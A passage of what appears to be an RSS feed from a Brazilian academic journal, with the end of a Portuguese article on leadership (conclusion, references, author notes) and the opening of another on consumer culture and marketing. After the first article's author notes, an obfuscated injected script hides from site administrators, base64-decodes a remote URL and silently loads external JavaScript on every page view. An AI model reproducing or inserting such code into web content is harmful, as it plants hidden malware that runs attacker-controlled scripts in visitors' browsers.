<p class="wp-block-paragraph">Em cenários marcados por tais características, surgem sinais de desgaste, insatisfação e distanciamento do propósito institucional, o que leva a execução de tarefas com foco apenas nas obrigações imediatas. Essa conjuntura reduz a autonomia e enfraquece o espírito colaborativo, ocasionando queda no desempenho organizacional e aumento da dependência de controles formais.</p>



<p class="wp-block-paragraph">Estudos que identificam práticas democráticas, transformacionais ou sustentadas por inteligência emocional revelam impactos positivos no cotidiano das equipes. A participação ativa, o uso de feedback estruturado, a abertura ao diálogo e a valorização das competências individuais ampliam o engajamento e fortalecem o compromisso com os objetivos coletivos.&nbsp;</p>



<p class="wp-block-paragraph">Os colaboradores passam a perceber sentido no trabalho, assumem responsabilidades com mais confiança e demonstram maior disposição para resolver problemas de modo conjunto. Esse cenário contribui para estabilidade, redução de conflitos e aumento da produtividade, com a liderança assumindo papel formador e estimulando trajetórias de crescimento profissional.</p>



<p class="wp-block-paragraph">Os achados permitem concluir que o desenvolvimento de equipes e o desempenho organizacional dependem de líderes preparados para atuar com equilíbrio entre direcionamento e escuta. A criação de ambientes sustentados por trocas, respeito e alinhamento de expectativas resulta em equipes unidas e com maior capacidade de adaptação. A liderança passa a influenciar não apenas resultados imediatos, mas também a cultura interna e a relação dos colaboradores com os desafios. Assim, o investimento na formação de líderes com visão humana, técnica e emocional configura caminho necessário para avanços consistentes nas organizações.</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS</strong></p>



<p class="wp-block-paragraph">BANKS, G. C.; WOZNYJ, H. M.; MANSFIELD, C. A. Where is “behavior” in organizational behavior. A call for a revolution in leadership research and beyond. <strong>Leadersh. Q</strong>, v. 101581, n. 10.1016, 2021.</p>



<p class="wp-block-paragraph">BATISTA, Jonatan S.; GONDIM, Sônia MG; MAGALHÃES, Mauro O. Relação entre inteligência emocional, congruência e satisfação intrínseca no trabalho. <strong>RAM. Revista de Administração Mackenzie</strong>, v. 23, p. eRAMG220152, 2022.</p>



<p class="wp-block-paragraph">BELO, Elisabeth Mendes <em>et al.</em> Estilos de Liderança. <strong>Revista Ibero-Americana de Humanidades, Ciências e Educação</strong>, v. 10, n. 5, p. 4141-4163, 2024.</p>



<p class="wp-block-paragraph">BONELLA, Jessica <em>et al.</em> Inteligência emocional na liderança: um estudo de caso em uma empresa metalúrgica. <strong>Estudo &amp; Debate</strong>, Lajeado, v. 30, n. 2, p. 7-34, 2023.</p>



<p class="wp-block-paragraph">BÜHLER, Mariana; GOLDMEYER, Marguit Carmem. Perfis de liderança na obra de Viktor Frankl: análise à luz de pesquisas de Daniel Goleman. <strong>Revista Acadêmica Licencia&amp;acturas,</strong> v. 11, n. 1, p. 98-111, 2023.</p>



<p class="wp-block-paragraph">CALVOSA, Marcello Vinicius Doria; FERREIRA, Marcos. Liderança: Representações sociais e modelos mentais dos séculos XX e XXI. <strong>Revista Eletrônica de Administração</strong> (Porto Alegre), v. 29, n. 01, p. 224-260, 2023.</p>



<p class="wp-block-paragraph">CAMILO, Samuel <em>et al.</em> O Papel da Liderança na Motivação dos Funcionários: Estilos de Liderança e seu Impacto no Desempenho. <strong>Journal of Technology &amp; Information</strong>, v. 5, n. 2, 2025.</p>



<p class="wp-block-paragraph">DORSA, Arlinda Cantero. O papel da revisão da literatura na escrita de artigos científicos. <strong>Interações</strong> (Campo Grande), v. 21, p. 681-683, 2020.</p>



<p class="wp-block-paragraph">FERRARI, Sandro; GHEDINE, Tatiana; LLOPIS, Juan. Competências da inteligência emocional de líderes em países em desenvolvimento. <strong>Revista Gestão Organizacional</strong>, v. 15, n. 3, p. 234-253, 2022.</p>



<p class="wp-block-paragraph">FREITAS, Bruno Henrique Pimentel; NUNES, Tamires; HOELZ, José Carlos. A Influência dos estilos de liderança na participação da educação corporativa sob a ótica dos liderados. <strong>Revista do Encontro de Gestão e Tecnologia</strong>, v. 2, n. 4, p. e24053-e24053, 2025.</p>



<p class="wp-block-paragraph">HASLAM, S. Alexander <em>et al.</em> Developing engaged and ‘teamful’leaders: A randomized controlled trial of the 5R identity leadership program. <strong>PLoS One</strong>, v. 18, n. 5, p. e0286263, 2023.</p>



<p class="wp-block-paragraph">ISRAEL, Carolina Reis Queiroz. Uma análise sobre liderança: Da teoria dos traços à liderança 4.0. <strong>Boletim Do Gerenciamento</strong>, n. 24, p. 21-30, 2021.</p>



<p class="wp-block-paragraph">IT FORUM. <strong>Falta de liderança inspiradora derruba engajamento de times, segundo 72% dos próprios líderes</strong>. 2025. Disponível em: https://itforum.com.br/noticias/falta-lideranca-derruba-engajamento/. Acesso em: 20 nov. 2025.</p>



<p class="wp-block-paragraph">LOPES, Victor; GOMES, Larissa Camerlengo Dias. Liderança nas organizações: um estudo teórico sobre a liderança servidora e a liderança transformacional. <strong>RECIMA21</strong>, v. 4, n. 12, p. e4124546-e4124546, 2023.</p>



<p class="wp-block-paragraph">LUSSIER, Robert N.; ACHUA, Christopher F<strong>. Leadership:</strong> Theory, application, &amp; skill development. Sage Publications, 2022.</p>



<p class="wp-block-paragraph">MARTINS, Maria Manuela <em>et al.</em> Estratégias de gestão de conflitos utilizadas por enfermeiros gestores portugueses. <strong>Revista Brasileira de Enfermagem</strong>, v. 73, p. e20190336, 2020.</p>



<p class="wp-block-paragraph">MENEGHETTI, Antonio. <strong>Psicologia Empresarial</strong>. tradução e revisão FOIL. 2. ed.Recanto Maestro, Restinga Sêca, RS: FOIL, 2020.&nbsp;</p>



<p class="wp-block-paragraph">MUTZENBERG, Daniel <em>et al.</em> Liderança e coaching: um estudo de caso em uma empresa do ramo de assessoria aduaneira. <strong>Brazilian Journal of Development</strong>, Curitiba, v. 7, n. 9, p. 91620–91646, 2021. DOI: 10.34117/bjdv7n9-360.</p>



<p class="wp-block-paragraph">OLIVEIRA, Maria Gabryela dos Santos. <strong>A liderança e a motivação para o trabalho: um estudo de caso em uma unidade do SENAC/RN</strong>. 2025. 53 f. Monografia (Graduação em Administração) – Universidade Federal do Rio Grande do Norte, Natal, 2025.</p>



<p class="wp-block-paragraph">OLIVINDO, Celina Maria <em>et al.</em> Liderança carismática, estética organizacional e afetos: influências na transformação organizacional e no turismo sustentável. <strong>International Journal of Scientific Management and Tourism,</strong> v. 11, n. 3, p. e1314-e1314, 2025.</p>



<p class="wp-block-paragraph">OLLEY, Richard. A focussed literature review of power and influence leadership theories. <strong>Asia Pacific Journal of Health Management</strong>, v. 16, n. 2, p. 7-17, 2021.</p>



<p class="wp-block-paragraph">PAES, Alana <em>et al.</em> Liderança: estilos e influências na produtividade das organizações. <strong>Revista Vox Metropolitana</strong>, v. 1, n. 4, p. 113-121, 2021.</p>



<p class="wp-block-paragraph">PEDRO, Eduarda Benevides; SERAFIM, Juliana Borsoli; CARVALHO, Maytê. Liderança e Desenvolvimento de Carreira: A Importância do RH no Desenvolvimento de Líderes e na Criação de Planos de Carreira. <strong>Revista do Encontro de Gestão e Tecnologia</strong>, v. 2, n. 6, p. e26199-e26199, 2025.</p>



<p class="wp-block-paragraph">PEREIRA, Grasielle Alves. A importância da inteligência emocional na liderança organizacional: impactos na gestão de pessoas e no clima empresarial. <strong>Preprint. Universidade Paulista</strong> – UNIP, 2024.</p>



<p class="wp-block-paragraph">PINHEIRO, Maralyza; SPUDEIT, Daniela. A liderança como competência essencial para profissionais da Biblioteconomia: uma análise à luz dos estilos de liderança de Goleman e do Código de Ética Profissional. <strong>Catalogación según</strong>, p. 197.</p>



<p class="wp-block-paragraph">PINHEIRO, Maralyza; SPUDEIT, Daniela. <strong>A liderança como competência essencial para profissionais da Biblioteconomia</strong>: uma análise à luz dos estilos de liderança de Goleman e do Código de Ética Profissional. In: CONGRESO DE CIENCIAS DE LA INFORMACIÓN DEL MERCOSUR, 1., 2019, Resistencia. Memoria del Primer Congreso de Ciencias de la Información del Mercosur. Resistência: Departamento de Ciências de la Información, FaHUM-UNNE, 2021. p. 201-212. Disponível em: https://repositorio.unne.edu.ar/xmlui/bitstream/handle/123456789/37754/RIUNNE_FHUM_LI_Aguirre-Bejarano.pdf?sequence=3#page=201. Acesso em: 20 nov. 2025.</p>



<p class="wp-block-paragraph">PORTELA, Keyla Christina Almeida; SOUZA, Paula Fabiane de; GABRIEL, Richard Francisco; RIBEIRO, Nubia Caroline. Um estudo de caso sobre a influência da liderança no desempenho dos funcionários no Supermercado Bem Viver<strong>. Revista Científica ACERTTE</strong>, v. 5, n. 5, p. 1–15, 2025.</p>



<p class="wp-block-paragraph">PORTES, Jose Luiz Furtado Oliveira. A liderança meio o cenário desafiador organizacional em tempos de mudanças: um estudo de caso no interior do estado do Rio de Janeiro. <strong>Pensar Acadêmico</strong>, Manhuaçu, v. 20, n. 1, p. 289–308, 2022.</p>



<p class="wp-block-paragraph">RACHED, Chennyfer Dobbins; SANTOS, Julia; FERREIRA, Victoria Christine Gomes. Bases Teórica dos Estilos de Liderança: Uma breve revisão<strong>. International Journal of Health Management Review</strong>, v. 6, n. 2, 2020.</p>



<p class="wp-block-paragraph">RENGEL, Rodrigo; ENSSLIN, Sandra Rolim. Avaliação de desempenho dos estilos de liderança: análise da literatura e agenda de pesquisa. <strong>Revista Economia &amp; Gestão</strong>, v. 20, n. 57, p. 44-62, 2020.</p>



<p class="wp-block-paragraph">ROCHA, Eliane Dalpian <em>et al.</em> As características da liderança na percepção de liderados. <strong>Revista Destaques Acadêmicos</strong>, v. 15, n. 1, 2023.</p>



<p class="wp-block-paragraph">SAAD, Gabriela Hayashida. <strong>Estilos de liderança e o impacto na produtividade e satisfação dos funcionários</strong>. Trabalho de Conclusão de Curso (Curso de Pós-Graduação na Escola de Direito, Negócios e Comunicação) — Pontifícia Universidade Católica de Goiás (PUC Goiás), [Goiânia], 2024.</p>



<p class="wp-block-paragraph">SANTOS, Alysson Bruno de Oliveira. <strong>Expressões da liderança na dinâmica empresarial:</strong> um estudo de caso em uma distribuidora de materiais elétricos em Belo Horizonte-MG. 2024. Monografia (Especialização em Gestão Estratégica de Negócios) – Universidade Federal de Minas Gerais, Belo Horizonte, 2024.</p>



<p class="wp-block-paragraph">SANTOS, Karina; FIGUEIREDO, Giane Lourdes Alves de Souza. Liderança e motivação no trabalho: um estudo de caso na empresa São José Materiais para Construção. <strong>Facit Business and Technology Jour</strong>nal, Xambioá, v. 1, n. 21, p. 138-152, dez. 2020.</p>



<p class="wp-block-paragraph">SILVA, Carla R.; DESTEFANI, Gabriele S.; LIMA, Edy C. S. Liderança e sua interferência na motivação dos colaboradores: estudo de caso. <strong>VII Simpósio de Tecnologia da Fatec Jales</strong>, Jales, p. 1–15, 2023.</p>



<p class="wp-block-paragraph">SILVA, Jéssica Tavares; SANTOS, L. M. S.; MARQUES, Ieso Costa. <strong>Análise dos estilos de liderança e sua influência no desenvolvimento das organizações</strong>. Editora Científica Digital, v. 2, p. 23-40, 2022.</p>



<p class="wp-block-paragraph">SOARES, MAXMILIANO DA SILVA. O Papel Da Liderança Situacional E Sua Influência Na Gestão De Dilemas, Estratégias E Possibilidades Nas Organizações. <strong>Revista O Saber</strong>, v. 1, n. 8, p. 111-122, 2021.</p>



<p class="wp-block-paragraph">SOUZA, Charleston Sperandio; DA SILVA, Mateus Viana. A importância da liderança nas organizações. <strong>Revista Multidisciplinar do Nordeste Mineiro</strong>, v. 2, n. 1, 2022.</p>



<p class="wp-block-paragraph">SOUZA, Gustavo Pereira de; TERAZZI, Luis Fernando. O papel da liderança, inteligência emocional e trabalho em equipe no desempenho organizacional: um estudo de caso em uma indústria moveleira. Interface <strong>Tecnológica, </strong>Taquaritinga, v. 21, n. 2, p. 732-743, 2024.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph"><sup>1</sup>Acadêmica de Administração da Fundação Centro de Análise, Pesquisa e Inovação Tecnológica Faculdade FUCAPI.<br><sup>2</sup>Professora da Fundação Centro de Análise, Pesquisa e Inovação Tecnológica Faculdade FUCAPI.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>A INDÚSTRIA DO CONSUMO: COMO AS EMPRESAS CRIAM E MOLDAM NECESSIDADES</title>
		<link>https://revistaft.com.br/a-industria-do-consumo-como-as-empresas-criam-e-moldam-necessidades/</link>
		
		<dc:creator><![CDATA[Revistaft CL]]></dc:creator>
		<pubDate>Sun, 30 Nov 2025 14:34:35 +0000</pubDate>
				<category><![CDATA[Administração]]></category>
		<category><![CDATA[Volume 29 - Edição 152/NOV 2025]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=256999</guid>

					<description><![CDATA[THE CONSUMER INDUSTRY: HOW COMPANIES CREATE AND SHAPE NEEDS REGISTRO DOI: 10.69849/revistaft/cl10202511301223 Marley Sebastião Alves Correa1Thomás Ítalo de Paula1Leonardo Camisassa Fernandes2 Resumo Este artigo analisa as estratégias utilizadas pelas empresas para persuadir o consumidor e estimular o consumo contínuo, evidenciando como tais práticas influenciam o comportamento individual e moldam padrões coletivos de identidade e pertencimento [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">THE CONSUMER INDUSTRY: HOW COMPANIES CREATE AND SHAPE NEEDS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/cl10202511301223</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Marley Sebastião Alves Correa<sup>1</sup><br>Thomás Ítalo de Paula<sup>1</sup><br>Leonardo Camisassa Fernandes<sup>2</sup></p>



<hr class="wp-block-separator has-text-color has-ast-global-color-1-color has-alpha-channel-opacity has-ast-global-color-1-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">Este artigo analisa as estratégias utilizadas pelas empresas para persuadir o consumidor e estimular o consumo contínuo, evidenciando como tais práticas influenciam o comportamento individual e moldam padrões coletivos de identidade e pertencimento social. A pesquisa, de natureza bibliográfica, fundamenta-se em autores contemporâneos que discutem o papel do consumo na sociedade capitalista, destacando como o marketing e a publicidade atuam na criação de desejos, na formação de estilos de vida e na construção simbólica do valor dos produtos. Demonstra-se, ainda, que o consumismo desordenado afeta não apenas a autoestima e as relações sociais, mas também contribui para impactos ambientais significativos, comprometendo a sustentabilidade global. Assim, o estudo propõe uma reflexão crítica sobre os hábitos de consumo e a responsabilidade ética das empresas na dinâmica econômica atual.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> Consumo, Identidade Social, Marketing, Publicidade, Sustentabilidade.</p>



<p class="wp-block-paragraph"><strong>1. INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">Na sociedade atual, o ato de consumir deixou de ser o que era antes uma necessidade fundamental básica, para se transformar em uma das principais bases na construção da identidade e subjetividade dos indivíduos, ou seja, para se sentir sujeito não basta apenas existir é preciso também consumir.&nbsp;&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Na sociedade de consumidores, ninguém pode se tornar sujeito sem primeiro virar mercadoria e ninguém pode manter segura sua subjetividade sem reanimar, ressuscitar e recarregar de maneira perpétua as capacidades esperadas e exigidas de uma mercadoria vendável. (BAUMAN, 2008)<sup>3</sup></p>
</blockquote>



<p class="wp-block-paragraph">Neste contexto, partindo da perspectiva de Bauman (2008), a identidade do indivíduo, na sociedade industrial, era sintetizada a partir do trabalho, o valor simbólico de alguém se relacionava à ocupação que era desempenhada nos mecanismos de produção. Fato completamente distante na sociedade do consumo dos dias atuais, pois as formas de pertencimento não se dão mais a partir do trabalho ou da ocupação social, mas sim a partir do consumo de marcas e rótulos que determinam como as pessoas são, o lugar social que elas ocupam e como elas querem ser vistas perante a sociedade.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Percebendo essa lacuna no mercado necessidade de pertencimento e busca por aceitação, a indústria do consumo tornou-se uma potência, usando de estratégias de marketing, propagandas e quaisquer outros meios disponíveis para manipular, influenciar comportamentos e gerar necessidades que antes não existiam capazes de influenciar amplamente nas escolhas do consumidor.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Entender essas táticas usadas pelas empresas é de suma importância para perceber como o mercado influencia os consumidores a consumir produtos em escala crescente. Além disso, no campo da administração, compreender essas práticas ajuda a avaliar quais os limites éticos dessa influência e qual o papel das empresas na modulação dessas práticas. Para onde vão os produtos que são descartados? Qual o impacto desse consumo desenfreado ao meio ambiente? Ademais, essa pesquisa buscará oferecer uma reflexão crítica sobre os impactos do consumo na qualidade de vida das pessoas e da sustentabilidade do planeta.&nbsp;</p>



<p class="wp-block-paragraph">Além disso, o objetivo deste artigo será examinar as estratégias que as empresas usam para manipular e gerar necessidades que antes eram desconhecidas pelos consumidores e como as empresas utilizam a ilusão de pertencimento a partir do consumo de suas marcas e qual o impacto disso na sociedade e no mundo.</p>



<p class="wp-block-paragraph">Por fim, este artigo se dividirá em três partes, sendo a primeira parte uma revisão do conceito teórico de consumo, fazendo uma breve revisão histórica desse conceito e sua evolução, destacando como ele deixou de ser uma necessidade básica para se tornar um dos principais fatores na construção da identidade dos indivíduos.&nbsp;</p>



<p class="wp-block-paragraph">Na segunda parte, apresentar-se-ão estratégias comuns utilizadas pelas empresas para criar e moldar as necessidades dos consumidores e como essas estratégias influenciam seus comportamentos.</p>



<p class="wp-block-paragraph">Por último, a terceira parte terá como foco os impactos sociais, éticos e ambientais do consumo desenfreado, bem como as implicações para a sustentabilidade e a qualidade de vida.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Logo, este estudo busca oferecer uma reflexão crítica sobre o excesso de consumo e o papel da indústria do consumo na sociedade contemporânea e suas implicações para com o futuro.&nbsp;</p>



<p class="wp-block-paragraph"><strong>2. EVOLUÇÃO HISTÓRICA DOS HÁBITOS DE CONSUMO</strong>&nbsp;</p>



<p class="wp-block-paragraph">O hábito de consumir está ligado à atividade humana desde o início das civilizações, seja para a satisfação das necessidades básicas, como moradia, alimentação e vestuário, seja para aquisição de produtos supérfluos, aceitação social, status e empoderamento.&nbsp;</p>



<p class="wp-block-paragraph">Está presente no cotidiano de todos e, portanto, se passa entre todas as camadas sociais, desde as mais simples até as mais nobres da sociedade, manifestando-se nas mais diversas escolhas cotidianas, desde as roupas que se vestem, os alimentos que se consomem e nos lugares em que as pessoas vivem ou frequentam. Pode-se dizer que o consumo não é algo simplesmente biológico ou mecânico, mas também tem caráter simbólico e de expressão social, usado como forma de distinção, para definir a personalidade de alguém e sua ocupação social. O consumo tem valor simbólico e cultural e se reflete nas aspirações e até mesmo nas ideologias históricas de uma época.&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">As necessidades podem ser consideradas naturais e evidentes por si mesmas (como as “necessidades básicas” de comida, roupa e teto); por outro lado, são vistas muitas vezes como arbitrárias e subjetivas como “carências”, “caprichos”, “preferências” ou “desejos” que dependem das peculiaridades dos indivíduos. (SLATER, 2001)<sup>4</sup></p>
</blockquote>



<p class="wp-block-paragraph">O consumo, antes da Revolução Industrial que ocorreu entre 1760 e 1840, tinha como sua principal função manter a subsistência dos indivíduos, os quais em sua grande maioria eram compostos por camponeses, que viviam longe das grandes cidades, e se mantinham reclusos nos campos. Como explica o historiador HOBSBAWM<sup>5</sup> (2013) sintetizando que o mundo era essencialmente rural neste período: os centros urbanos eram pouco movimentados e as grandes cidades apresentavam baixa densidade populacional.&nbsp;</p>



<p class="wp-block-paragraph">A economia no século XVII era majoritariamente local e ainda caminhava lentamente sendo, portanto, predominantemente agrária e artesanal. A manufatura de produtos se restringia às limitações dos meios de produção da época, que eram geridos por processos manuais e compostos por equipamentos simples e rudimentares, o que limitava bastante a geração de produtos e bens materiais, confinando o comércio de produtos apenas as regiões mais próximas e aos mercados locais (HOBSBAWM, 2013, pg.30).&nbsp;</p>



<p class="wp-block-paragraph">Durante o período pré-industrial, era comum que a maioria das pessoas possuíssem poucos bens materiais, principalmente pela dificuldade de acesso a novos produtos, pois as limitações dos meios de transporte também dificultavam a distribuição, tornando a chegada dos itens ao consumidor final um processo demorado e dispendioso.&nbsp;</p>



<p class="wp-block-paragraph">Foi a partir da Revolução Industrial 1760-1840, considerada por HOBSBAWM (2013, pg.50) o evento mais importante na história do mundo, que tudo mudou. O historiador afirma que enquanto a França promoveu transformações importantes na política, afinal foi a principal influência política europeia e referência nas principais mudanças políticas modernas. A Inglaterra foi o centro das transformações econômicas, por ter sido o berço da Revolução Industrial.&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Se a economia do mundo do século XIX foi formada principalmente sob a influência da revolução industrial britânica, sua política e ideologias foram formadas fundamentalmente pela Revolução Francesa. (HOBSBAWM, 2013, pg.83)<sup>6</sup></p>
</blockquote>



<p class="wp-block-paragraph">Houve, então, a partir desta época, um intenso êxodo rural, o qual as pessoas que viviam isoladas nos campos migraram para os grandes centros urbanos em busca de trabalho e melhores condições de vida.</p>



<p class="wp-block-paragraph">Neste contexto, a invenção da máquina a vapor, o surgimento da indústria têxtil aliado ao desenvolvimento da metalurgia mudou drasticamente os meios de produção, que deixaram de ser artesanais e manuais e passaram a ser produzidos em grande escala, por meio da industrialização, o que acelerou significativamente o desenvolvimento urbano da época.&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">De fato, a revolução industrial não foi um episódio com um princípio e um fim. Não tem sentido perguntar quando se “completou”, pois sua essência foi a de que a mudança revolucionária se tornou norma desde então. Ela ainda prossegue; quando muito podemos perguntar quando às transformações econômicas chegaram longe o bastante para estabelecer uma economia substancialmente industrializada, capaz de produzir, em termos amplos, tudo que desejasse dentro dos limites das técnicas disponíveis, uma “economia industrial amadurecida” para usarmos o termo técnico. (HOBSBAWM, 2013)<sup>7</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">O surgimento das indústrias, a adoção da produção em larga escala e a urbanização crescente provocaram uma mudança profunda no comportamento do consumidor. O oceano de ofertas, impulsionado pela ascensão do capitalismo junto ao baixo custo da produção criaram um padrão de consumidor ainda não conhecido, este não mais guiado pelo preenchimento de necessidades básicas e garantia da subsistência, mas sim guiado pelo desejo de consumo.</p>



<p class="wp-block-paragraph">Um consumidor ávido pela busca de bens que lhe oferecesse uma identidade, um símbolo de pertencimento social, status e distinção entre os demais. Iniciava-se, então, o surgimento de uma cultura alimentada pela vaidade.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">É comum se pensar (embora seja possível mostrar que de maneira incorreta) que aquilo que os homens e as mulheres lançados ao modo de vida consumista desejam e almejam é, em primeiro lugar, a apropriação, a posse e a acumulação de objetos, valorizados pelo conforto que proporcionam e/ou o respeito que outorgam a seus donos. A apropriação e a posse de bens que garantam (ou, pelo menos, prometam garantir).O conforto e o respeito podem de fato ser as principais motivações dos desejos e anseios na sociedade de produtores, um tipo de sociedade comprometida com a causa da segurança estável e da estabilidade segura, que baseia seus padrões de reprodução a longo prazo em comportamentos individuais criados para seguir essas motivações. A sociedade de produtores, principal modelo societário da fase “sólida” da modernidade, foi basicamente orientada para a segurança. Nessa busca, apostou no desejo humano de um ambiente confiável, ordenado, regular, transparente e, como prova disso, duradouro, resistente ao tempo e seguro. Esse desejo era de fato uma matéria-prima bastante conveniente para que fossem construídos os tipos de estratégias de vida e padrões comportamentais indispensáveis para atender à era do “tamanho é poder” e do “grande é lindo”: uma era de fábricas e exércitos de massa, de regras obrigatórias e conformidade às mesmas, assim como de estratégias burocráticas e panópticas de dominação que, em seu esforço para evocar disciplina e subordinação, basearam-se na padronização e rotinização do comportamento individual. (BAUMAN, 2008)<sup>8</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">Portanto, a revolução industrial redefiniu não apenas a economia, como também o comportamento dos indivíduos. A expansão das cidades e a produção em grande escala deram origem a um novo tipo de sujeito, este que passou a se identificar com o produto. Assim, esse cenário abriu espaço para que o Marketing e a Publicidade encontrassem meios de manipular as vontades e os desejos dos consumidores e se tornarem instrumentos fundamentais para a cultura do consumo.</p>



<p class="wp-block-paragraph">&nbsp;<strong>2.1 A ASCENSÃO DO MARKETING E DA PUBLICIDADE</strong></p>



<p class="wp-block-paragraph">Começava o século XX e, com ele, a explosão da globalização, tendo como principal alavanca o boom da internet e das mídias sociais. Iniciava-se um novo mundo, marcado pela expansão dos grandes centros urbanos e pela modernização dos meios de produção, eventos que definiram profundamente esse século e contribuíram para transformações sociais, econômicas e culturais significativas.</p>



<p class="wp-block-paragraph">Este cenário favorável deu a oportunidade perfeita para que o marketing, a propaganda e a publicidade se consolidassem e atingissem o seu apogeu e ainda o mantivessem até os dias de hoje.&nbsp;</p>



<p class="wp-block-paragraph">Neste novo cenário, em que os centros de poder econômicos e sociais se consolidavam, a indústria percebeu uma nova tendência de mercado em que os consumidores não queriam mais apenas possuir objetos, mas queriam mais do que isso, que o objeto refletisse uma identidade única, como se o sujeito que estivesse se vestindo de determinada marca de roupa, pudesse, para além de estar usado um objeto comum, ser associado a alguém de classe social elevada e com isso transmitisse poder e status.&nbsp;</p>



<p class="wp-block-paragraph">Neste entendimento, como argumenta Bauman (2008), não é levada em consideração a durabilidade de um produto, pois este logo será descartado para dar lugar a um novo. O principal requisito para a compra de um bem para esse tipo de consumidor é a satisfação momentânea ofertada na aquisição do produto. Assim, percebe-se que o foco está na inovação constante e não na durabilidade de um bem.</p>



<p class="wp-block-paragraph">O relógio, por exemplo, não será preferido apenas por apontar as horas. No entanto, terá como principal pretensão à finalidade de marcar a distinção social, a qual detém o sujeito, portador do objeto, a garantia da imagem de alguém com bom gosto, sofisticação, elegância e status social elevado.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Jean Baudrillard (1981) e Zygmund Bauman (2008) asseveram que a sociedade pós-moderna é uma sociedade de consumo, em que tudo se torna “transitório” e, por conseguinte, “descartável”. Ressalta Baudrillard (1981) que a sociedade de consumo surge quando o elemento cultural e ideológico passa a conduzir cada vez mais o processo de consumo. Nesse caso, as necessidades se voltam mais aos valores de uso do que aos “objetos”, e a satisfação se efetiva, primeiramente, por meio da adesão a esses valores. Ou seja, o valor de uso é, no fundo, um álibi para o valor de troca-signo. (DA SILVA, 2017)<sup>9</sup>.</p>



<p class="wp-block-paragraph">A partir deste entendimento, a indústria, que visa sempre à obtenção de lucros, elaborou a ideia de não mais vender um simples objeto. A estratégia adotada pelas empresas, usando os meios de comunicação, mídias sociais e bombardeamentos por propaganda, passou a seduzir os consumidores com a ilusão de vender sonhos, desejos e estilos de vida.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">O objetivo passou a ser a construção de significados simbólicos em torno do objeto. Vender passou a ser, acima de tudo, alimentar o ego do consumidor e oferecer, junto ao produto, a promessa de status, pertencimento e identidade.&nbsp;</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Os bens de consumo são um importante meio de nossa sociedade. Neles depositamos os nossos significados públicos e privados. Carros e roupas, por exemplo, são carregados de significados, que usamos para definir a nós mesmos. Constantemente atrelamos as nossas posses, usando-as para construir nosso mundo público e privado [&#8230;] Bens de consumo são alguns dos mais importantes moldes para a personalidade.<br>[&#8230;] Bens nos ajudam a fazer escolhas. Nos ajudam a tornar nossa cultura concreta e pública (por meio do marketing e do varejo). Nos ajudam a selecionar e assumir novos significados (por meio das compras). Nos ajudam a expor novos significados (por meio do uso). E nos ajudam a mudar significados (por meio da inovação). Bens nos ajudam a aprender, fazer e expor e mudar as escolhas demandadas por nossa sociedade individualista. Não são prisões, mas instrumentos para a personalidade. (MCCRACKEN, 2015)<sup>10</sup>.</p>
</blockquote>



<p class="wp-block-paragraph">Esse contexto de consolidação das estratégias publicitárias aliado ao consumo como espaços de dominação, expressão social e de identidade fizeram com que o consumo deixasse de ser meramente utilitário e adquirisse forma de caráter identitário sendo, portanto, usado como instrumento de pertencimento social; passando a ser um ato de comunicação do valor simbólico de alguém.&nbsp;&nbsp;</p>



